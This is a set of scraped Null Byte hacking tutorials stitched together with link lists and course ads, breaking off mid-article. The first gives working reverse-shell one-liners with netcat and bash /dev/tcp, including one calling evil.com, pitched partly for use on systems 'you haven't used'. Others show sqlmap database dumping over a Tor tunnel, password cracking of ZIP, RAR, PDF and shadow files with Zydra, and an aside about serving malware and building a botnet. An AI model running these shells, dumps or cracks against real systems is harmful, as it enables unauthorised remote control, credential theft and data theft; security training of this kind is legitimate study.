Files to Others with Your Web BrowserNews:Windows Live SkyDriveHow To:An Entry Level Guide to Finding and Reading Logs (And Maybe Staying Out of Jail)Goodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Run an FTP Server from Home with LinuxHack Logs and Linux Commands:What's Going On Here?News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Hack Mac OS X Lion PasswordsLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Perform a Local Privilege Escalation on Mac.News:The 5 Best iPhone/iPad Apps for Exporting and Importing Your Photos
How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH « Null Byte :: WonderHowTo
Reverse shells are useful for issuing commands to a remote client when the client is behind something such as a NAT. You might say, "But can't a normal shell or simple SSH tunnel do the same thing?". No, it can't. All over the internet I see a lot of confusion regarding the difference between a normal shell and a reverse shell. Let's clear this up before we get started.Reverse ShellA reverse shell works by the remote computer sending its shell to a specific user, rather than binding it to a port, which would be unreachable in many circumstances. This allows root commands over the remote server.Bind ShellA bind shell is when a user uses BASH and binds a shell to a local port that anyone can issue commands to on the local network.Reverse shells are also commonly used for nefarious purposes, like after a hacker roots a server, they will likely make a reverse shell so they have easy access to the computer for future use. Let's take a look at a few ways we could make one on an example remote computer. I trust it is one that you haven't used.RequirementsRemote Unix hostnetcatinstalled from your package repositoryReverse Shell Interaction with NetCatWhen shelled in to the remote host, simply issue the following command to send the shell back home:nc -c /bin/sh <your IP> <any unfiltered port>You could even pipe BASH through netcat./bin/sh | nc <your IP> <any unfiltered port>Then listen for the shell:nc -l -p <same unfiltered port> -vvvReverse Shell with BASHThis technique is for when netcat isn't available on the remote machine and when you want to leave a small footprint when you're doing things of a questionable nature.Listen for the shell:nc -l -p <any unfiltered port> -vvvNow create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.exec 5<>/dev/tcp/evil.com/<same unfiltered port> $ cat <&5 | while read line; do $line 2>&5 >&5; doneOr another reverse shell:0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196Then, simply send raw commands through netcat.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Exploit PHP File Inclusion in Web AppsHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Create Backdoor on OSXHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Hack Metasploitable 2 Including Privilege EscalationHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Hack a MacBook with One Ruby CommandHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Use SQL Injection to Run OS Commands & Get a ShellHacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Get Root Access on OS X Mavericks and YosemiteHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Use Meterpeter on OS XAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHack Like a Pro:How to Hack the Shellshock VulnerabilityHacking macOS:How to Create an Undetectable PayloadHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2Hack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionNews:Change from BASH to zshHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+
Here's Why You Need to Add Python to Your Hacking & Programming Arsenal « Null Byte :: WonderHowTo
Choosing which programming language to learn next can be a truly daunting task. That's the case regardless of whether you're a Null Byter just beginning a career in development and cybersecurity or you're a seasoned ethical hacking and penetration tester with years of extensive coding experience under your belt. On that note, we recommend Python for anyone who hasn't mastered it yet.Languages like Python are so universal and versatile that they've become essential tools for anyone serious about development and ethical hacking. Python, specifically, is a multipurpose language that allows you to work faster, integrate multiple systems more efficiently,bypass multilayered antivirus software in seconds, and create white-hat hacking tools, to name just a few things.There are countless reasons why Python has stood the test of time and earned its reputation as a language that's both incredibly powerful and relatively simple to use for hackers and developers of varying levels of experience. And if you haven't already learned Python, which has been around since 1991 (and is one of Null Byte's favorites), you need to stop dragging your feet and get down to business.Why Learn Python?First, Python is arguably one of the most relied-upon programming tools when it comes to working in a variety of subsets of data science and cybersecurity. And data science is a field that's only going to grow as the world becomes far more dependent on data-driven tools and machine learning applications that require in-depth, large-scale analysis.So if you're even remotely interested in landing a high-paying career for a major company that's at the forefront of AI and machine learning, you'll need to have a thorough understanding of Python and its multiple applications in the field.Second, Python isremarkably simpleto use, given what it can do, and you won't need to waste precious time wading through lines of code to see real results in your projects. As any successful white hat hacker will tell you, expediting your build process and being able to troubleshoot issues quickly is essential, and there's a massive community of Python users who can help you do just that. You'll also benefit from a wide range of resources that will help you jumpstart your projects, ranging from pre-made scripts and templates to image maps and data libraries.Third, adding Python to your hacking toolkit is one of the best ways you can guarantee yourself higher salaries, regardless of whether you're working to safeguard networks and servers in the public or private sector. Python engineers and developers report some of the highest wages in the industry — with the average Python coder bringing inover $118,000 per year— and demand for these tech-savvy coding pros is only going to grow as world networks become more vulnerable and more reliant on data-heavy tech.Fourth, Python is one of the most reputable tools in the overarching world of cybersecurity anddigitalforensics, thanks to both its intuitive layout and adaptability when it comes to working with a range of firewalls and security platforms. That means that if you're interested in either beginning or furthering a serious career in IT security and its countless subcategories, you'll need to demonstrate a solid understanding of Python and how it can help safeguard complex networks.Finally, whether you're a total newbie or already an established white-hat hacker with experience building your own hacking tools and apps, you'd be hard-pressed to find a programming language that's more suitable for this type of work than Python. Thanks to its unique combination of power and simplicity, Python is the go-to language for working with and customizing essential hacking apps.FinalRecon,ReconT,Photon Scanner,One-Lin3r,Scapy, andWebTech, as well as essential reconnaissance tools such asSherlockandDirsearch— tools we've covered here on Null Byte — all use Python as part of their primary infrastructure.You could even build acustom brute-force tool for hasheswith the right know-how. And you could write your own scripts and commands to do things likeuse Shodan more efficiently,bypass antivirus software,take control of IoT devicesorperipherals,upgrade dumb shells, andexploit othervulnerabilities.Where Do You Learn Python?Frequent or even casual Null Byte readers will doubtlessly be at least somewhat familiar with the basic idea of Python already. Null Byte has plenty ofhelpful tutorialsthat can help you either get started with the language or build on a preexisting skillset.But if you want to take your development skills and hacking career to the next level, you're going to need to invest in an education that teaches you about the more advanced and esoteric elements of this incredibly versatile language, and theComplete 2020 Python Programming Certification Bundlewill get you to where you need to be for just $49.99 — a tiny fraction of what you'd pay for a more traditional in-class course that covers fewer topics.Unlike most online Python courses that only offer either a basic introduction to the language or hand-picked modules that cover specific applications, this comprehensive bundle comes with 12 courses and over 1,000 lessons that will leave you with a thorough understanding of everything Python has to offer — regardless of your previous experience with programming, app development, or hacking.This bundle is also unique in that it teaches you what you need to know through lessons that show you how to build and dismantle real-world apps and websites — a far more beneficial and powerful way to learn a new programming language than merely reading and memorizing lines of code.If you've never written a line of Python in your life, start with the introductory course, which will familiarize you with the basic elements and jargon of Python while showing you how to work with strings, manipulate variables, perform basic mathematical operations, and more.By the time you've completed your introductory courses, you'll have learned how to build essential apps that can complete simple computations and commands, and you'll also have a powerful grasp on the essentials of several automation parameters that will save you countless hours by streamlining your workflow in the future.With the basics of the language and several go-to coding environments under your belt, you'll be ready to move on to more advanced topics that will allow you to start building your very own programs and penetration testing parameters from scratch, including large-scale data analysis, matrices of numbers, pandas, and robust data visualization techniques.This bundle also comes packed with lessons that focus exclusively on the multiple ways in which Python is being used outside of ethical hacking at the forefront of data science, AI, and machine learning — three interconnected fields that are behind some of the world's most exciting and important innovations. You'll learn how to work within Keras (Google's powerful Deep Learning framework that's written entirely in Python) to implement techniques that allow you to gain important insights from massive data sets, and a separate module on neural networks will get you up to speed with how Python can be used to build endlessly powerful algorithms in any environment.Begin or further a high-paying career that combines mainstream development with white-hat hacking by grabbing the Complete 2020 Python Programming Certification Bundle while it's available forjust $49.99— over 95% off its usual price of $2,385 right now.Start Coding Today:Complete 2020 Python Programming Certification Bundle for $50Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bypiotrkt/123RFRelatedHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:This Extensive Python Training Is Under $40 TodayHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 2How To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:Learn to Code in Python, Part One: Variables, Input and OutputNews:Learning Python 3.x as I go (Last Updated 6/72012)Community Byte:Coding a Web-Based Password Cracker in PythonHow To:Make a Gmail Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:Code Your Own Twitter Client in Python Using OAuthHow To:Make a Change-of-IP Notifier in PythonWeekend Homework:How to Become a Null Byte ContributorHow To:Nab Free eBooks Using GoogleWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)News:Null Byte Is Calling for Contributors!Pygame:All You Need to Start Making Games in PythonNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Shorten URLs from the Command Line with PythonNews:Ball PythonsCommunity Contest:Code the Best Hacking Tool, Win Bragging RightsGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Encrypt And Decrypt Text In PythonWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Send SMS Messages with PythonCommunity Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsFarewell Byte:Goodbye Alex, Welcome AllenCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingNews:Get YouTube's New Layout Today with a Simple JavaScript Hack
How to Hack TOR Hidden Services « Null Byte :: WonderHowTo
A lot of people think that TOR services are unhackable because they are on a "secure environment", but the truth is that those services are exactly the same that run on any normal server, and can be hacked with the same tools (metasploit,hydra,sqlmap...), the only thing you have to do is launch a transparent proxy that pass all your packets through the TOR network to the hidden service.In this article the attacker's machine runs Kali version 1, and the target machine runs Fedora Workstation 21.What Will We Do?We are going to launch a vulnerable application that I've created as a TOR hidden service, and then hack it using the same techniques that we use on any webserver. I will use my own application to explain the process but you can use for example DVWA or mutillidae to test for your own.The tools that we are going to use here are:socat:To launch a tunnel from our local machine to the hidden service.nikto:To recognise vulnerabilities or misconfigurations on the webserver.sqlmapTo dump the database of the vulnerable application.They come with Kali by default so no need to install!This is only an example, you can use metasploit, hydra... whatever you want, socat will do all for you.Step 1: Start the Hidden ServiceI'm not going to explain how to launch a hidden service because this article is focused on hack a hidden service and not on set up a hidden service. But the process is very simple, the only thing we need to do is start a webserver on our machine and set theHiddenServiceDirandHiddenServicePorton tor's configuration file. This file is located at /etc/tor/torrc:nano /etc/tor/torrcOnce we have set theHiddenServiceDir(location where tor stores the private key and the onion address) and theHiddenServicePort(port where you want the users to connect, in our case port 80 HTTP) we can check that our service is running using the Tor Browser Bundle. The onion address is located in a file named hostname, within the HiddenServiceDir:As you see our service is accesible from the Tor Browser, let's go to the fun part.Step 2: Recon on the Hidden ServiceNow we are going to do some recon on the target, as the service is a web application running on port 80, we will usenikto. Set up the tunnel between the hidden service and our local machine. The syntax is:socat TCP4-LISTEN:<Port you want to listen for your connections>,reuseaddr,fork SOCKS4A:127.0.0.1:<onion address>:<port of the service>,socksport=<port where tor is listening (by default 9050)>So, to start a tunnel between our hidden service and our local machine on port 8000:Now we can perform our attack against the hidden service. Without closing the previous terminal, open another terminal and type:nikto -h http://127.0.0.1:8000You can see that nikto works without any issue (except for the slow connection that TOR offers, but that's another point).Step 3: Dumping Database from the Hidden ServiceLet's test sqlmap against our hidden service, don't close the first terminal:sqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" --dbssqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" -D prototype --tablessqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" -T members --dumpAs I have stated above, this is a simple example of how to perform attacks against hidden services. In this case the service is a HTTP server, but it can be a SQL database, a FTP server, a SSH server, in fact any service based on TCP (UDP and ICMP aren't allowed through TOR).ConclusionIf you think that your TOR services don't need the proper configuration because they are hidden or something like that you are wrong. The hardest thing related to hacking TOR services is finding the.onionaddress, once you have find it, the rest is a normal penetration test.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Use Private Encrypted Messaging Over TorHow To:Access the Dark Web While Staying Anonymous with TorHow To:The Top 80+ Websites Available in the Tor NetworkNews:Use ProtonMail More Securely Through the Tor NetworkHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:Check if Your Significant Other Used Ashley Madison to Cheat on YouTor for Android:How to Stay Anonymous on Your PhoneHow To:Access Deep WebThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkTor vs. I2P:The Great Onion DebateNews:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Become Anonymous on the Internet Using TorHow To:Use Tortunnel to Quickly Encrypt Internet TrafficAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'News:Make an "On/Off" Tor Button for ChromeHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—AnonymouslyHow To:Conceal a USB Flash Drive in Everyday Items
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!In this series onLinux for aspiring hackers, I'm trying to provide you with the basic skills needed to be capable in Linux as a hacker. One area that's critical that we haven't covered yet is building and managing an Apache web server.Apache is found on over 60% of the globe's web servers, so any self-respecting Linux admin should be familiar with it. As a hacker aspiring to hack websites, it's critical to understand the inner workings of Apache, websites, and the backend databases of these sites.In addition, by setting up your own web server, you could serve up malware to anyone who visits your site. If you're thinking of building a botnet, this is one of the best ways of doing that (I'll do a tutorial on building a botnet in the near future).Getting Apache on Your SystemIf you haveBackTrackrunning on your system, Apache is already installed. Many other Linux distros have it installed by default as well. If you don't have Apache installed, you can download and install theLAMP stack.LAMP is an acronym for Linux, Apache, MySQL, PERL, and PHP. These are the most widely used tools for developing websites in the Linux world, and they're very popular in the Microsoft world too, only it's generally referred to as WAMP, where the W simply stands for Windows.Simply download this LAMP stack and install it on your system, and then I will take you through the care and feeding of your LAMP stack to serve up webpages. In addition, we'll download and install a website that we can use for web and database hacking in future tutorials.Step 1: Start Your Apache DaemonThe first step, of course, is to start our Apache daemon. In BackTrack, go theBackTrack->Services->HTTPDand click onapache start.Step 2: Open the Default WebsiteNow that Apache is running, it should be able to serve up its default webpage. Let's typehttp://localhost/in your favorite web browser.Step 3: Open the Index.html FileApache's default webpage is/var/www/index.html. We can edit that file and get Apache to serve up whatever webpage we want, so let's create our own.Use any text editor you please, including vi, gedit, Kate, KWrite, emacs, etc. For demonstration purposes here, I'll open the/var/www/index.htmlwithKWrite.Note here that the default webpage has exactly the text that was displayed when we opened our browser tolocalhost, but inhtmlformat. All we need to do is edit this file to have our web server display the information we want.Step 4: Add Some HtmlNow that we have the web server running and the index file open, we can add whatever text we'd like the web server to serve up. We will create some simple html blocks.Let's serve up this page:<html><body><h1> Null Byte is the Best! </h1><p> If you are new to hacking, wonderhowto.com's Null Byte</p><p>world is the best place to learn hacking!</p></body></html>Now, save this file and close KWrite.Step 5: Let's See What HappensNow that we have saved our/var/www/index.htmlfile, we can check to see what Apache will serve up. Navigate your browser once again tohttp://localhost.Apache has served up our webpage just as we created it!Step 6: Download & Install DVWANow that we have our web server up and running, we want to download and install a website designed especially for hacking, known as theDamn Vulnerable Web ApplicationorDVWA. Let's download it fromhere, then unzip it. To unzip it, type:unzip DVWA-1.0.8.zip -d /var/wwwNext, we need to change permissions to give us (root) execute permissions.chmod 755 DVWA-1.0.8In my next Linux tutorial, we will set up PHP, MySQL, and configure our Damn Vulnerable Web Application so that we can practice website and database hacking, sokeep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRed feathers,green feathers, andworld networkimages via ShutterstockRelatedHow To:Linux Basics for the Aspiring Hacker: Configuring ApacheNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)News:What to Expect from Null Byte in 2015How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Fingerprint Web Servers Using HttprintHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)PHP for Hackers:Part 1, Introduction and Setting UpHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Goodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Run a Free Web Server From Home on Windows or Linux with ApacheCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker
How to Crack Password-Protected ZIP Files, PDFs & More with Zydra « Null Byte :: WonderHowTo
Everybody knows not to store sensitive information in unencrypted files, right? PDFs and ZIP files can often contain a treasure trove of information, such as network diagrams, IP addresses, and login credentials. Sometimes, even certain files that are encrypted aren't safe from attackers. That's where Zydra comes in — a tool for cracking RAR files, ZIP files, PDF files, and Linux shadow files.How Are These Files Encrypted?Depending on the program used and its version, these sorts of files could bepassword protectedusing variousencryption algorithms.For example, theLinux command linezip utility uses the older PKZIP algorithm, which is insecure andeasy to crack. Other programs, like WinZip and 7-Zip, use strong AES-256 encryption. Earlier versions of the RAR protocol use a proprietary encryption algorithm, while newer versions use AES. WinRAR and PeaZip, popular choices that can deal with RAR files, also use the AES standard.Don't Miss:Crack Shadow Hashes After Getting Root on a Linux SystemIf you'reusing Linux, it's easy to create PDFs in LibreOffice by exporting regular word documents, and there's even an option to password protect the newly created file. Older versions of LibreOffice use the Blowfish algorithm to encrypt files, but versions 3.5 and up use AES. Other methods to create PDF files includeMicrosoft Officeand Adobe Acrobat — Office versions 2007+ and Acrobat versions 7+ all support AES encryption.Linux shadow filesthemselves are not encrypted, but the passwords contained within them are. Encryption algorithms used for these can vary depending on the system, but MD5, SHA-512, SHA-256, Blowfish, and DES are all commonly used.Download & Set Up ZydraTo begin, we need to download Zydra fromGitHub— use thewgetutility to grab thePython fileright from the command line:~$ wget https://raw.githubusercontent.com/hamedA2/Zydra/master/Zydra.py --2020-07-15 18:41:25-- https://raw.githubusercontent.com/hamedA2/Zydra/master/Zydra.py Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 30544 (30K) [text/plain] Saving to: ‘Zydra.py’ Zydra.py 100%[======================>] 29.83K --.-KB/s in 0.04s 2020-07-15 18:41:26 (764 KB/s) - ‘Zydra.py’ saved [30544/30544]Next, and this step is completely optional, let's rename the script making it entirely lowercase. If you're lazy like me, it's just one less key to press:~$ mv Zydra.py zydra.pyWe also need to install some dependencies for Zydra to work properly — it usesPython 3, so we can usepip3to install the extra modules:~$ pip3 install rarfile pyfiglet py-term Collecting rarfile Downloading rarfile-3.1.tar.gz (121 kB) |████████████████████████████████| 121 kB 1.0 MB/s Requirement already satisfied: pyfiglet in /usr/lib/python3/dist-packages (0.8.post0) Collecting py-term Downloading py-term-0.6.tar.gz (5.4 kB) Building wheels for collected packages: rarfile, py-term Building wheel for rarfile (setup.py) ... done Created wheel for rarfile: filename=rarfile-3.1-py3-none-any.whl size=24908 sha256=6f16c1h4b06a3f7a7d8v4baa34e9a6d58a949b5a78c2b23bb60c0d62791372e3 Stored in directory: /home/kali/.cache/pip/wheels/21/50/d0/8da8b10f46113f46c6f0247c5f59401293fb5b15aa7888a4ce Building wheel for py-term (setup.py) ... done Created wheel for py-term: filename=py_term-0.6-py3-none-any.whl size=6268 sha256=ab75424c7aa6ef71001a24c3e3a558ad3748ee0d6a3c0153c3a0cf955f814a13 Stored in directory: /home/kali/.cache/pip/wheels/76/cc/73/8ac13320a2a98600008575b936742bbb6025d21d674ca6e2fd Successfully built rarfile py-term Installing collected packages: rarfile, py-term Successfully installed py-term-0.6 rarfile-3.1Now we should be ready to run Zydra using thepython3command:~$ python3 zydra.py @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Usage: zydra.py [options] [args] Dictionary Mode: zydra.py -f <file> -d <wordlist> Brute force Mode: zydra.py -f <file> -b <char_type> -m <min_length> -x <max_length> Available char_type: <lowercase> The lowercase letters abcdefghijklmnopqrstuvwxyz <uppercase> The uppercase letters ABCDEFGHIJKLMNOPQRSTUVWXYZ <letters> The concatenation of the lowercase and uppercase <digits> numbers 0123456789 <symbols> punctuation characters !#$%&'()*+,-./:;<=>?@[\]^_`{|}~'" <space> space character You can select multiple character types. Example: zydra.py -f <file> -b <space,digits> -m 1 -x 8 zydra.py: error: Choose a file, Use --help for more infoThis gives us anice little banner, a usage example, and some information about some of the options available. It also gives us an error stating it needs a file, and tells us to use--helpfor more info; this will give us more details and options:~$ python3 zydra.py --help @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Usage: zydra.py [options] [args] Dictionary Mode: zydra.py -f <file> -d <wordlist> Brute force Mode: zydra.py -f <file> -b <char_type> -m <min_length> -x <max_length> Available char_type: <lowercase> The lowercase letters abcdefghijklmnopqrstuvwxyz <uppercase> The uppercase letters ABCDEFGHIJKLMNOPQRSTUVWXYZ <letters> The concatenation of the lowercase and uppercase <digits> numbers 0123456789 <symbols> punctuation characters !#$%&'()*+,-./:;<=>?@[\]^_`{|}~'" <space> space character You can select multiple character types. Example: zydra.py -f <file> -b <space,digits> -m 1 -x 8 Options: -h, --help show this help message and exit -d DICTFILE Specifies dictionary file -f FILE Specifies the file -b CHARTYPE Specifies the character type -m MINLENGTH Specifies minimum length of password -x MAXLENGTH Specifies maximum length of passwordBefore we can run Zydra, we will needsome files to testit out on. I have created aRAR file,ZIP file, andPDF filethat you can download and use to follow along. The password for all three of these is "password1" as you'll soon find out. There is also ashadow fileyou can download, which I got from the Metasploitable virtual machine.Download:all test files|.rar test|.zip test|.pdf test|.shadow testWe'll also need a suitable wordlist. Since our password for these files is pretty simple, we'll use a minimal list for demonstration purposes — this one from theSecLists GitHubrepo will work:~$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt --2020-07-15 19:08:05-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 81 [text/plain] Saving to: ‘darkweb2017-top10.txt’ darkweb2017-top10.tx 100%[======================>] 81 --.-KB/s in 0s 2020-07-15 19:08:05 (3.10 MB/s) - ‘darkweb2017-top10.txt’ saved [81/81]At this point, we are readyto get cracking.Option 1: Cracking RAR FilesZydra can operate in two modes:dictionaryandbrute force. In dictionary mode, we just need to supply a wordlist with the-dflag. We also need to specify the file we are trying to crack using the-fflag:~$ python3 zydra.py -f nb-rar.rar -d darkweb2017-top10.txt 